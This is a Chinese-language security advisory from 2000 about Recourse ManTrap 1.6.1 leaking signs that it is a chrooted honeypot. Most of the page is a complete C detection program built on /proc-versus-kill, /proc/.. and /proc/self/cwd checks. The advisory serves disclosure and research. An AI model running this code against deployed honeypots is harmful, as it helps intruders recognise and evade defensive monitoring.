首页 -> 安全研究

安全研究

安全漏洞
ManTrap泄漏根目录i节点号的漏洞

发布日期:2000-11-01
更新日期:2000-11-07

受影响系统:
Recourse Technologies ManTrap 1.6.1
描述:

ManTrap是一种“贮蜜罐”式的入侵检测系统,它被设计成引诱攻击者进入其中并对其行为进行分析。这个贮蜜罐是用经过chroot的Solaris环境实现的,它在获得了存取权限的攻击者眼中看来是个真实的主机环境。
Chroot是一种unix机制,它允许管理员强制某些进程或进程组运行在文件系统的子集中,而不允许它们访问文件系统的其它部分。攻击者可能通过察看根目录的i节点号(ls -id /)来猜测出他正处于一个经过chroot的ManTrap系统中。如果该i节点号较大(通常在100000~200000范围内),则根目录是更大的文件系统中经过chroot后的某个子集。
这个漏洞和泄漏隐藏进程的漏洞(参看bugtraq ID 1908)结合起来应能比较准确地向攻击者(无root权限)证实该主机是一个ManTrap贮蜜罐,从而击败该贮蜜罐的企图。

<* 来源: Fate Research Labs(www.f8labs.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
*  ManTrap detection/testing program by wilson / f8labs - www.f8labs.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>

void check_proc_vs_kill(int listpids)
{
  struct stat st;
  int i, counter;
  char buf[520];
  
  printf("proc-vs-kill() test: \n");
  fflush(0);
  
  if (geteuid() == 0)
  {
    printf("  Error: Running as root. NOT performing /proc-vs-kill() test.\n");
    return;
  }

  if (listpids == 1)
  {
    printf("Listing mismatching PIDs:\n");
  }

  counter = 0;
  for (i = 1; i < 65535; i ++)
  {
    if ((kill(i, SIGCONT) != 0) && (errno == EPERM)) /* send SIGCONT (which hopefully won't matter) to the process */
    {
      snprintf(buf, 511, "/proc/%d", i);
      if (stat(buf, &st) != 0)
      {
        counter ++;
        if (listpids == 1)
        {
          printf("%.5d ", i);
          if (counter%8 == 0)
          {
            printf("\n");
          }
        }
      }
    }
  }
  if (listpids == 1)
  {
    printf("\n");
  }
  if (counter == 0)
  {
    printf("  Normal: No mismatches found.\n");
  } else
  {
    printf("  ManTrap? %d mismatching PIDs found.\n", counter);
  }
}

void check_proc_dotdot()
{
  DIR *procDIR;
  struct dirent *procdirent;
  int found;
  
  printf("dotdot test:\n");
  procDIR = opendir("/proc");
  if (procDIR == NULL)
  {
    printf("  Error: Couldn't open /proc while performing dotdot test.\n");
    return;
  }
  found = 0;
  procdirent = readdir(procDIR);
  while (procdirent != NULL)
  {
    if (strcmp(procdirent->d_name, "..") == 0)
    {
      found = 1;
      break;
    }
    procdirent = readdir(procDIR);
  }
  closedir(procDIR);
  if (found == 0)
  {
    printf("  ManTrap? /proc/.. not found in directory listing!\n");
  } else {
    printf("  Normal: /proc/.. found in directory listing.\n");
  }

}

void check_proc_cwdwalk()
{
  char savedpwd[2048], newpwd[2048];
  
  printf("cwdwalk test:\n");
  if (getwd(savedpwd) == NULL)
  {
    printf("  Error: Couldn't get working directory while performing cwdwalk test.\n");
    return;
  }
  
  if (chdir("/proc/self") != 0)
  {
    printf("  Error: Couldn't chdir to /proc/self while performing cwdwalk test.\n");
    return;
  }
  if (chdir("cwd") != 0)
  {
    printf(" Error: Couldn't chdir to /proc/self/cwd while performing cwdwalk test.\n");
    return;
  }
  if (getwd(newpwd) == NULL)
  {
    printf("  ManTrap? getwd() failed after chdir to /proc/self/cwd.\n");
  } else {
    printf("  Normal: getwd() succeeded after chdir to /proc/self/cwd.\n");
  }
  chdir(savedpwd);
  return;
}

void usage(char *myname)
{
  printf("Usage: %s <-a|-p|-l|-d|-c|-h>\n", myname);
  printf(" -a performs ALL tests\n");
  printf(" -p performs /proc-vs-kill() test\n");
  printf(" -l performs /proc-vs-kill() test and lists mismatching PIDs\n");
  printf(" -d performs /proc/.. test\n");
  printf(" -c performs /proc/self/cwd test\n");
  printf(" -h shows this help\n");
}

int main(int argc, char *argv[])
{
  printf("ManTrap detection/testing program by wilson@f8labs.org - www.f8labs.org\n");
  if (argc != 2)
  {
    usage(argv[0]);
    exit(1);
  }
  if (strlen(argv[1]) != 2)
  {
    usage(argv[0]);
    exit(1);
  }
  switch(argv[1][1])
  {
    case 'a':
      check_proc_vs_kill(0);
      check_proc_dotdot();
      check_proc_cwdwalk();
      break;
    case 'p':
      check_proc_vs_kill(0);
      break;
    case 'l':
      check_proc_vs_kill(1);
      break;
    case 'd':
      check_proc_dotdot();
      break;
    case 'c':
      check_proc_cwdwalk();
      break;
    case 'h':
    default:
      usage(argv[0]);
      exit(1);
      break;    
  }
  printf("Finished.\n");
}





建议:
厂商补丁:

暂无。

浏览次数:6267
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障